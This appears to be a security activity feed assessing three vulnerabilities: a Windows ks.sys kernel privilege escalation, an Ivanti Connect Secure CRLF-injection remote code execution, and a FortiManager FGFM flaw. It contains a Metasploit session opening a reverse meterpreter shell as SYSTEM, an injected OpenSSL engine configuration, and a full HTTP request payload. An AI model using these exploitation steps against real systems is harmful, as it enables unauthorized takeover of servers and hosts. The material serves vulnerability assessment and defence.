Activity Feed

The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists an Access Mode Mismatch LPE in this driver which can be exploited on versions of Windows between 10.0.10240 – 10.0.25398 before the June 2024 patch Tuesday update which include but are not limited to:

• Windows 11 22H2 (before 10.0.22621.3737)
  
• Windows 11 21H2 (before 10.0.22000.3019)
  
• Windows 10 22H2 (before 10.0.19045.4529)
  
• Windows 10 21H2 (before 10.0.19044.4529)
  
• Windows 10 1607 (before 10.0.14393.7070)
  
• Windows Server 2022 (before 10.0.20348.2522)
  
• Windows Server 2016 (before 10.0.14393.7070)
  

Older EOL versions of Windows are said to be vulnerable though I have not tested them. I have found the version listed above to be exploitable with the metasploit module. It should be noted that Hyper-V hosted installations of Windows by default don’t have an audio device configured making the vulnerability unexploitable.

About the Bug Class

Access Mode Mismatch bugs in the Windows kernel center around the PreviousMode member of the KTHREAD structure. Every thread has a previous access mode associated with it. The PreviousMode is set to UserMode(1) if a user operates on a device or file through Nt* System Service Call, indicating that the System Service call is from the user. The PreviousMode is set to KernelMode(2) if for example a device driver invoking the Zw* System Service Call.

RequestorMode is a similar field in the I/O Request Packet (IRP) which indicates if the original request came from KernelMode or UserMode. This commonly used field is typically derived from PreviousMode.

About the Vulnerability

An application can use IOCTL_KS_PROPERTY to get or set properties, or to determine the properties supported by a KS object. An application passes IOCTL_KS_PROPERTY to the ks!KsSynchronousIoControlDevice with a few parameters: IOControl, RequestorMode, Input Buffer, Input Buffer Length, Output Buffer, Output Buffer Length and Status Code. To improve efficiency in IOCTL_KS_PROPERTY of Kernel Streaming, the requests KSPROPERTY_TYPE_SERIALIZESET and KSPROPERTY_TYPE_UNSERIALIZESET are provided to allow users to operate on multiple properties in a single call.

The vulnerability stems from the driver’s use of the function ks!KsSynchronousIoControlDevice.There are multiple calls to this function throughout the driver which incorrectly hard code the RequestorMode parameter value KernelMode. The vulnerable function ks!KsSynchronousIoControlDevice can be invoked by issuing a KSPROPERTY_TYPE_UNSERIALIZESET request in which user controlled parameters are handled with KernelMode privileges specifically when the property is set to KSPROPSETID_DrmAudioStream. This provides a primitive that allows users to perform arbitrary IOCTL_KS_PROPERTY operations.

To achieve EoP with this primitive first kCFG must be bypassed. By using the legitimate function RtlSetAllBits from ntoskrnl.exe, the arbitrary IOCTL_KS_PROPERTY operation can be turned into a arbitrary write primitive which can be used to achieve EoP by whatever typical method the user preferers. The metasploit module uses the write primitive to replace the current process token with a system token. Abusing token privileges is also an option.

Attacker Value and Exploitability

The exploit for this vulnerability is very reliable and very stable. It’s worked every time I’ve run it on every vulnerable system I’ve tested it on. Some Windows EoP exploits depending on the nature of the exploit and how privileges are actually being elevated can be flakey and their success rates can vary however this exploit is rock solid. The vulnerable ks.sys is installed by default making this a very useful exploit for attackers and is why I chose to rate it 5/5 for Exploitability. It requires user level privileges as it’s EoP and although affects a very wide range of supported Windows operating systems and is why I chose to give an Attacker Value rating of 4/5.

Metasploit Module in Action

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use cve_2024_35250

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/windows/local/cve_2024_35250_ks_driver  2024-06-11       excellent  Yes    Windows Access Mode Mismatch LPE in ks.sys


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/cve_2024_35250_ks_driver

[*] Using exploit/windows/local/cve_2024_35250_ks_driver
[*] Using configured payload windows/x64/meterpreter/reverse_tcp

msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set lport 5555
lport => 5555
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set session -1
session => -1

msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 22621
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 4704
[*] Reflectively injecting the DLL into 4704...
[*] Sending stage (201798 bytes) to 192.168.123.232
[*] Meterpreter session 18 opened (192.168.123.1:5555 -> 192.168.123.232:49837) at 2024-11-05 16:59:05 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
dmeterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 11 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > exit

References

https://github.com/varwara/CVE-2024-35250
https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/
https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html

Ivanti Connect Secure versions prior to 22.7R2.1 and 22.7R2.2, and Ivanti Policy Secure versions prior to 22.7R1 are vulnerable to CRLF injection, which leads to remote code execution with the privileges of the user root. Since it requires to be authenticated as an administrator on the web interface, it might be less attractive for attackers. That being said, it is still considered a critical vulnerability since the attacker could have full control of the server.

Another requirement is the ability to upload a malicious file to the server. This file will be loaded and executed later during the exploitation of this vulnerability. The available PoC’s abuse the Client Log Upload feature for this purpose, which needs to be enabled and can only be used by a non-administrative user, as far as I know. Since the attacker already has access to the administrative interface, he can easily enable this feature and create a user if necessary.

Technical Details

The attack consists in first uploading the payload abusing the Client Log Upload capability. The application doesn’t seem to check the file type and consider it as a .zip file. It renames the file and stores it in a known location on the server (/home/runtime/uploadlog/). The attacker can retrieve the filename from the administrative interface and get the full local path on the server.

Then, the attacker will create a Certificate Signing Request (CSR) via the web interface and inject some specifically crafted OpenSLL configuration:

…
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
var1 = custom_section_name
[custom_section_name]
engine_id = var1
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
…

This configuration will instruct OpenSSL to use a custom cryptographic engine instead of the default one. The local path of our payload (previously uploaded through the Client Log Upload feature) is specified in the injected configuration, which will result in OpenSSL loading it as a shared object. This OpenSSL Engine API has been deprecated since OpenSSL version 3.0, but the vulnerable Ivanti products use an older version with this feature still available.

Example of HTTP POST request with the injected OpenSSL configuration:

…
xsauth=7b256576da59e34e61e6dc729d10a979&commonName=Legal&organizationName=Weber, Murazik and Sauer&organizationalUnitName=Risk Management&localityName=Pourosberg
[default]
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
uqsp = pleapzctgw
[pleapzctgw]
engine_id = uqsp
dynamic_path = /home/runtime/uploadlog/log-20241104-071100.zip
init = 0
&stateOrProvinceName=Michigan&countryName=NE&emailAddress=bobbi_kuvalis@bauch-kub.example&keytype=RSA&keylength=1024&eccurve=prime256v1&random=aJcgsEm&newcsr=yes&certType=device&btnCreateCSR=Create CSR

The application will format and save these configurations to a temporary file on the server. openssl req will then be executed to create a CSR, passing this temporary configuration file as an argument:

openssl req config <temp_config> -new -utf8 -out <output folder>

Indicators of Compromise

• Log files uploaded through the Client Log Upload feature will appear in logs in the administrative interface (Log/Monitoring > Events > Logs).
  
• A pending CSR might still be listed in the administrative interface (Configuration > Certificates > Device Certificate)
  

A Metasploit module exploiting the vulnerability against Ivanti Connect Secure is available.

The flaw lies in the FortiGate to FortiManager Protocol (FGFM), which is designed for deployment scenarios where NAT traversal is needed. By abusing the vulnerability, attacks have been reported where the attacker attempted to register a new “local device” with a serial number.
Once registered, an attacker can exploit this to gain RCE on FortiManager itself.

From there, the attacker has access to the FortiManager’s managed firewalls, enabling them to view configuration files, alter device settings, and escalate further into downstream networks.

Fortinet’s advisory highlights IOCs observed and mitigations.